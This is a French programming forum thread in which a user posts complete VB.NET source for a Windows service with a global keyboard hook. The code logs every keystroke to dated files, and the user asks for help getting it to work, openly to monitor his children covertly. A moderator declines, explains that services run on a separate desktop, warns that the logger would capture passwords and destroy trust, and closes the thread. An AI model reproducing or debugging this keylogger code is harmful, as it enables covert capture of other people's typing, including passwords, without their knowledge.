pcpunch
Messages postés1243Date d'inscriptionmardi 7 mai 2002StatutMembreDernière intervention18 février 2019
-
20 janv. 2016 à 16:25
ucfoutu
Messages postés18038Date d'inscriptionlundi 7 décembre 2009StatutModérateurDernière intervention11 avril 2018
-
20 janv. 2016 à 19:05
Bonjour,
Je code mon premier service windows en vb .
J'essaie d'utiliser un module hook clavier
J'ai tester le code en mode windows application ca marche sans soucis.
Par contre en service, le hook ne marche pas.
ça passe bien par le timer , écriture de fichier ok, mais pas de capture des touches
Ma question est la suivante peu ton utiliser un module dans un projet de service windows ? car a par ça je ne vois pas d'où ca peu venir ?
C
Ci dessous code du hook que j'ai récupéré ici ou ailleurs ainsi que le code de mon service.
Public Class Service1 Private oTimer As System.Threading.Timer Dim KL As New HKkb Dim StrLigne As String
Protected Overrides Sub OnStart(ByVal args() As String) ' Ajoutez ici le code pour démarrer votre service. Cette méthode doit ' démarrer votre service. Dim oCallback As New TimerCallback(AddressOf OnTimedEvent) oTimer = New System.Threading.Timer(oCallback, Nothing, 0, 100)
'ecriture dans le fichier FileOpen(1, "c:/temp/" & Replace(Date.Today, "/", "-") & ".txt", OpenMode.Append, OpenAccess.Default, OpenShare.Shared) Print(1, "Demarrage service " & Now & vbCrLf) FileClose(1) KL.HookKeyboard()
End Sub
Protected Overrides Sub OnStop() ' Ajoutez ici le code pour effectuer les destructions nécessaires à l'arrêt de votre service. 'Création d'un flux d'écriture 'ecriture dans le fichier FileOpen(1, "c:/temp/" & Replace(Date.Today, "/", "-") & ".txt", OpenMode.Append, OpenAccess.Default, OpenShare.Shared) Print(1, "Arret service " & Now & vbCrLf) FileClose(1) KL.UnhookKeyboard() End Sub
'Recupération du contenu du hook If KL.KeyLog = "" Then Exit Sub 'si vide on fait rien
StrLigne = StrLigne & KL.KeyLog 'recup du caractére dans la variable strligne
'Si VBCRLF dans strligne If InStr(StrLigne, vbCrLf, CompareMethod.Text) <> 0 Then
'ecriture dans le fichier FileOpen(1, "c:/temp/" & Replace(Date.Today, "/", "-") & ".txt", OpenMode.Append, OpenAccess.Default, OpenShare.Shared) Print(1, StrLigne & " " & Now & vbCrLf) FileClose(1) StrLigne = "" End If
KL.KeyLog = ""
End Sub End Class
et le module :
Imports System.IO
Public Class HKkb
#Region "Declarations hook clavier" Private Declare Function UnhookWindowsHookEx Lib "user32" (ByVal hHook As Integer) As Integer Private Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal idHook As Integer, ByVal lpfn As KeyboardHookDelegate, ByVal hmod As Integer, ByVal dwThreadId As Integer) As Integer Private Declare Function CallNextHookEx Lib "user32" (ByVal hHook As Integer, ByVal nCode As Integer, ByVal wParam As Integer, ByVal lParam As KBDLLHOOKSTRUCT) As Integer Private Declare Function GetForegroundWindow Lib "user32.dll" () As Int32 Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As Int32, ByVal lpString As String, ByVal cch As Int32) As Int32 Private Delegate Function KeyboardHookDelegate(ByVal Code As Integer, ByVal wParam As Integer, ByRef lParam As KBDLLHOOKSTRUCT) As Integer
Structure KBDLLHOOKSTRUCT Public vkCode As Integer Public scanCode As Integer Public flags As Integer Public time As Integer Public dwExtraInfo As Integer End Structure
Private WM_KEYUP As Integer = &H101 Private WM_KEYDOWN As Short = &H100S
Private WM_SYSKEYDOWN As Integer = &H104 Private WM_SYSKEYUP As Integer = &H105
Private KeyboardHandle As IntPtr = 0 Private LastCheckedForegroundTitle As String = "" Private callback As KeyboardHookDelegate = Nothing
Public KeyLog As String Public KeyLogApp As String 'En cas d'utilisation de Mouse hook
Private RCtrl As Boolean = False Private LCtrl As Boolean = False Private Ctrl As Boolean = False Private RShft As Boolean = False Private LShft As Boolean = False Private Shft As Boolean = False Private Alt As Boolean = False Private AltGr As Boolean = False Private RWin As Boolean = False Private Lwin As Boolean = False Private Win As Boolean = False Private CapsT As Boolean = False Private Acct As Char = Nothing 'Accent détecté = "Accent" sinon vide Private Caps As Boolean = My.Computer.Keyboard.CapsLock Private Acde As String = "" Private Kc As New Keycodes()
#End Region
Public Sub New() 'La liste fonctionne de la façon suivante : ' 'J'ai fait ici une version améliorée et plus visible de ma version précédente 'de détection de raccourcis, j'espere que vous saurez apprécier en cas de besoin... ' 'Le nombre représente le keycode, il ne faut pas changer l'ordre ni en supprimer un 'Tous les autres éléments sont optionnels et retournent "" si rien n'est mis 'Le 2 eme élément est ce qui sera retourné si on appuie une touche sans shift ni ctrl ni win ni alt 'Le 3 eme élément est retourné si une touche SHIFT est maintenue 'Le 4 eme élément est retourné si une touche CTRL est maintenue 'Le 5 eme élément est retourné si la touche ALTGR est maintenue 'Le 6 eme élément est retourné si la touche ALT est maintenue 'Le 7 eme élément est retourné si les touches WIN sont maintenues 'Le 8 eme élément est retourné si les touches WIN+SHIFT sont maintenues 'Le 9 eme élément est retourné si les touches WIN+CTRL sont maintenues 'Le 10 eme élément est retourné si les touches ALT+SHIFT sont maintenues 'Le 10 eme élément est particulier il concerne l'accentuation : ' Si 0, on renvoie le caractere en gardant l'accent en mémoire ' Si 1, on renvoie l'accent suivi du caractere (caractere non accentuable) ' Si 2, on accepte l'accentuation du caractere suivant la table d'accentuation. ' ' AVIS AUX DEBUTANTS 'Si mes textes entre "" ne vous conviennent pas 'changez les sans hésitez en gardant bien sur les "", cela ne détruira pas le programme 'Si vous n'y connaissez rien ne touchez pas trop
Public Function Hooked() Return KeyboardHandle <> 0 End Function Public Function KeyboardCallback(ByVal Code As Integer, ByVal wParam As Integer, ByRef lParam As KBDLLHOOKSTRUCT) As Integer KeyLogApp = "" 'Dim CurrentTitle = GetActiveWindowTitle() 'If CurrentTitle <> LastCheckedForegroundTitle Then 'LastCheckedForegroundTitle = CurrentTitle 'KeyLogApp = "APPLICATION : " & CurrentTitle & " (" & Now.ToString() & ")" & vbCrLf
' End If
Dim Key As String = ""
If wParam = WM_KEYDOWN Or wParam = WM_SYSKEYDOWN Then Select Case lParam.vkCode Case 20 If CapsT = False Then Caps = Not Caps End If CapsT = True Case 91 : Lwin = True Case 92 : RWin = True Case 160 : LShft = True Case 161 : RShft = True Case 162 : RCtrl = True Case 163 : LCtrl = True Case 164 : Alt = True Case 165 : AltGr = True End Select End If
If wParam = WM_KEYUP Or wParam = WM_SYSKEYUP Then Select Case lParam.vkCode Case 20 : CapsT = False Case 91 : Lwin = False Case 92 : RWin = False Case 160 : LShft = False Case 161 : RShft = False Case 162 : RCtrl = False Case 163 : LCtrl = False Case 164 : Alt = False If Acde.Length > 0 Then Dim j As Integer = CType(Acde, Integer) Dim k As Integer Dim r As Integer If Acde.Chars(0) = "0" Then k = Math.DivRem(j, 256, r) Key = AsciiT(r + 256, 1) Else k = Math.DivRem(j, 256, r) Key = AsciiT(r, 1) End If End If Acde = "" Case 165 : AltGr = False End Select End If
Ctrl = LCtrl Or RCtrl Shft = LShft Or RShft Win = Lwin Or RWin If Ctrl And Alt Then AltGr = True
If wParam = WM_KEYDOWN Or wParam = WM_SYSKEYDOWN Then
Dim Caps As Boolean = My.Computer.Keyboard.CapsLock
'Filtrage complet If Not Ctrl And Not Alt And Not Shft And Not Win And Not AltGr Then If Caps Then Key = Kc.Item(lParam.vkCode).Ret_Base.ToUpper Else Key = Kc.Item(lParam.vkCode).Ret_Base End If End If
'CTRL + touches If Ctrl And Not Alt And Not Shft And Not Win And Not AltGr Then Key = Kc.Item(lParam.vkCode).Ret_Ctrl End If
'SHIFT + touches If Not Ctrl And Not Alt And Shft And Not Win And Not AltGr Then If Caps Then Key = Kc.Item(lParam.vkCode).Ret_Base Else Key = Kc.Item(lParam.vkCode).Ret_Shft End If End If
'ALTGR + touches If AltGr And (Ctrl Or Alt) And Not Win And Not Shft Then Key = Kc.Item(lParam.vkCode).Ret_AltGr End If
'WIN + touches If Win And Not Ctrl And Not Shft And Not Alt And Not AltGr Then Key = Kc.Item(lParam.vkCode).Ret_Win End If
'ALT + touches If Alt And Not Ctrl And Not Shft And Not AltGr And Not Win Then 'ALT + combinaisons a 4 chiffres tel ß † etc etc Dim keyA As String = Kc.Item(lParam.vkCode).Ret_Base If keyA.Length <> 0 Then If (Asc(keyA) >= 48) And (Asc(keyA) <= 57) Then If Alt Then Acde &= keyA End If End If Key = Kc.Item(lParam.vkCode).Ret_Alt End If
'Detection d'accent If Acct <> Nothing Then Key = GetAccent(Key, lParam.vkCode, Kc.Item(lParam.vkCode).Ret_AccTrans) End If If (Key = "^") Or (Key = "¨") Or (Key = "~") Or (Key = "`") Then Acct = Key Key = "" End If
'Pour bloquer un evenement faites cela (exemple : if Alt then...) 'If (votre condition) Then 'Return 1 'End If End If
KeyLog &= KeyLogApp & Key
Return CallNextHookEx(KeyboardHandle, Code, wParam, lParam) End Function Private Function GetAccent(ByVal Skey As String, ByVal Code As Integer, ByVal Ac As Integer) As String Dim Acci As Integer Dim Ex As Boolean Dim Acc(,) As String = { _ {"â", "ä", "ã", "à"}, _ {"ê", "ë", "~e", "è"}, _ {"î", "ï", "~i", "ì"}, _ {"ô", "ö", "õ", "ò"}, _ {"û", "ü", "~u", "ù"}, _ {"Â", "Ä", "Ã", "À"}, _ {"Ê", "Ë", "~E", "È"}, _ {"Î", "Ï", "~I", "Ì"}, _ {"Ô", "Ö", "Õ", "Ò"}, _ {"Û", "Ü", "~U", "Ù"}, _ {"^n", "¨n", "ñ", "`n"}, _ {"^N", "¨N", "Ñ", "`N"}}
If (Skey = "^") Or (Skey = "¨") Or (Skey = "~") Or (Skey = "`") Then Ex = True Dim R As String = Acct & Skey Acct = Nothing Return R End If
Select Case Acct Case "^" : Acci = 0 Case "¨" : Acci = 1 Case "~" : Acci = 2 Case "`" : Acci = 3 End Select
Select Case Ac Case 2 Select Case Skey Case "a" : Acct = Nothing : Return Acc(0, Acci) Case "e" : Acct = Nothing : Return Acc(1, Acci) Case "i" : Acct = Nothing : Return Acc(2, Acci) Case "o" : Acct = Nothing : Return Acc(3, Acci) Case "u" : Acct = Nothing : Return Acc(4, Acci) Case "A" : Acct = Nothing : Return Acc(5, Acci) Case "E" : Acct = Nothing : Return Acc(6, Acci) Case "I" : Acct = Nothing : Return Acc(7, Acci) Case "O" : Acct = Nothing : Return Acc(8, Acci) Case "U" : Acct = Nothing : Return Acc(9, Acci) Case "n" : Acct = Nothing : Return Acc(10, Acci) Case "N" : Acct = Nothing : Return Acc(11, Acci) End Select Case 1 Dim R As String = Acct & Skey Acct = Nothing Ex = True Return R Case 0 Return Skey End Select
Return "" End Function Private Function GetActiveWindowTitle() As String Dim MyStr As String MyStr = New String(Chr(0), 100) GetWindowText(GetForegroundWindow, MyStr, 100) MyStr = MyStr.Substring(0, InStr(MyStr, Chr(0)) - 1) Return MyStr End Function Public Sub UnhookKeyboard() If UnhookWindowsHookEx(KeyboardHandle) <> 0 Then KeyboardHandle = 0 End If End Sub Public Sub HookKeyboard() callback = New KeyboardHookDelegate(AddressOf KeyboardCallback)
KeyboardHandle = SetWindowsHookEx(13, callback, Process.GetCurrentProcess.MainModule.BaseAddress, 0) End Sub
Private Class KeyCode Private _kCode As Integer Private _kShft As String Private _kBase As String Private _kCtrl As String Private _kAlt As String Private _kWin As String Private _kAltGr As String Private _kWinShft As String Private _kWinCtrl As String Private _kAltShft As String Private _kAltCtrl As String Private _kAccTrans As Integer
Public Property Code() As Integer Get Code = _kCode End Get Set(ByVal value As Integer) _kCode = value End Set End Property Public Property Ret_Shft() As String Get Ret_Shft = _kShft End Get Set(ByVal value As String) _kShft = value End Set End Property Public Property Ret_Base() As String Get Ret_Base = _kBase End Get Set(ByVal value As String) _kBase = value End Set End Property Public Property Ret_Ctrl() As String Get Ret_Ctrl = _kCtrl End Get Set(ByVal value As String) _kCtrl = value End Set End Property Public Property Ret_Alt() As String Get Ret_Alt = _kAlt End Get Set(ByVal value As String) _kAlt = value End Set End Property Public Property Ret_Win() As String Get Ret_Win = _kWin End Get Set(ByVal value As String) _kWin = value End Set End Property Public Property Ret_AltGr() As String Get Ret_AltGr = _kAltGr End Get Set(ByVal value As String) _kAltGr = value End Set End Property Public Property Ret_WinShft() As String Get Ret_WinShft = _kWinShft End Get Set(ByVal value As String) _kWinShft = value End Set End Property Public Property Ret_WinCtrl() As String Get Ret_WinCtrl = _kWinCtrl End Get Set(ByVal value As String) _kWinCtrl = value End Set End Property Public Property Ret_AltShft() As String Get Ret_AltShft = _kAltShft End Get Set(ByVal value As String) _kAltShft = value End Set End Property Public Property Ret_AccTrans() As Integer Get Ret_AccTrans = _kAccTrans End Get Set(ByVal value As Integer) _kAccTrans = value End Set End Property
Public Sub New(ByVal kCode As Integer, _ Optional ByVal kBase As String = "", _ Optional ByVal kShft As String = "", _ Optional ByVal kCtrl As String = "", _ Optional ByVal kAlt As String = "", _ Optional ByVal kWin As String = "", _ Optional ByVal kAltGr As String = "", _ Optional ByVal kWinShft As String = "", _ Optional ByVal kWinCtrl As String = "", _ Optional ByVal kAltShft As String = "", _ Optional ByVal kAccTrans As Integer = 0) Code = kCode Ret_Shft = kShft Ret_Base = kBase Ret_Ctrl = kCtrl Ret_Alt = kAlt Ret_Win = kWin Ret_AltGr = kAltGr Ret_WinShft = kWinShft Ret_WinCtrl = kWinCtrl Ret_AltShft = kAltShft Ret_AccTrans = kAccTrans End Sub End Class
Private Class Keycodes Private Shadows Table As ArrayList
Public Sub New() Table = New ArrayList() End Sub
Public Function Add(ByVal Code As Integer, _ Optional ByVal Ret_Base As String = "", _ Optional ByVal Ret_Shft As String = "", _ Optional ByVal Ret_Ctrl As String = "", _ Optional ByVal Ret_AltGr As String = "", _ Optional ByVal Ret_Alt As String = "", _ Optional ByVal Ret_Win As String = "", _ Optional ByVal Ret_WinShft As String = "", _ Optional ByVal Ret_WinCtrl As String = "", _ Optional ByVal Ret_AltShft As String = "", _ Optional ByVal Ret_AccTrans As Integer = 0) As KeyCode Dim unKeyCode As New KeyCode(Code, Ret_Base, Ret_Shft, Ret_Ctrl, Ret_Alt, Ret_Win, Ret_AltGr, Ret_WinShft, Ret_WinCtrl, Ret_AltShft, Ret_AccTrans) Table.Add(unKeyCode) Add = unKeyCode End Function
Public ReadOnly Property Item(ByVal lIndex As Integer) As KeyCode Get Item = (CType(Table.Item(lIndex), KeyCode)) End Get End Property End Class #End Region
ucfoutu
Messages postés18038Date d'inscriptionlundi 7 décembre 2009StatutModérateurDernière intervention11 avril 2018211 20 janv. 2016 à 17:38
Bonjour,
je n'aide généralement jamais à résoudre des problèmes concernant des "Keyloggers".
Je vais donc me contenter de te rappeler les points suivants :
- un service Windows fonctionne avec son propre DeskTop, qui n'est pas celui de chacun des utilisateurs (y compris si un seul utilisateur)
- cet aspect n'est pas un aspect VB.Net, mais un aspect Windows.
un peu de lecture ? ===>>>
https://groups.google.com/forum/#!topic/borland.public.delphi.nativeapi.win32/fMT9yQpopUg
Pour tes enfants ?
Mets donc dans ce cas un programme tournant en tâche de fond sur chacun de leurs comptes.
Et prie pour qu'ils ne s'en rendent pas compte un jour (même beaucoup plus tard). Ils ne te le pardonneraient pas ! Et tu perdras définitivement leur confiance.
Tu fouilles également dans leurs "carnets intimes" ?
EDIT : aies au moins l'honnêteté de leur dire que tu as installé un tel "piège" sur cette machine et que cet espion est tel que tu connaîtras également tous leurs mots de passe, etc ... . Ils choisiront alors très certainement de ne plus utiliser cette machine .
________________________
Nul ne saurait valablement coder ce qu'il ne saurait exposer clairement.
pcpunch
Messages postés1243Date d'inscriptionmardi 7 mai 2002StatutMembreDernière intervention18 février 20195 20 janv. 2016 à 18:30
UCFOUTU je te reconnais la lol reaction toujours aussi piquante !!
Sache que ton avis sur la question ne regarde que toi !!!
chaque situation familiale est différente!!!!
Donc je n'expliquerais pas plus sur les raisons pour lesquelles je veux développer ce service.
Mais je tiens quand même a dire poliment : Qui est tu pour te permettre de juger sans connaître les gens et les situations ? DIEU certainement !!!!
Et a ce que je sache utiliser un hook clavier n est pas illégal ? surtout sous son toit ??? non ???
Bon sinon je reprend le fil de ma demande , si j'ai bien compris il doit fonctionner : compte system local et interagir avec le bureau.
Mais ca ne donne rien.
Si quelqu'un a une piste, je suis preneur.
Vous n’avez pas trouvé la réponse que vous recherchez ?
ucfoutu
Messages postés18038Date d'inscriptionlundi 7 décembre 2009StatutModérateurDernière intervention11 avril 2018211 20 janv. 2016 à 19:05
- J'en prends acte (je ne participerai plus jamais à l'une des discussions que tu ouvrirais).
- je ferme déjà la présente, juste pour tout ce que pourrait impliquer un tel mécanisme espion. Et bien que tu clames que c'est juste pour "surveiller" tes enfants.
Si un autre modérateur veut, lui, ouvrir à nouveau cette discussion, il le pourra.
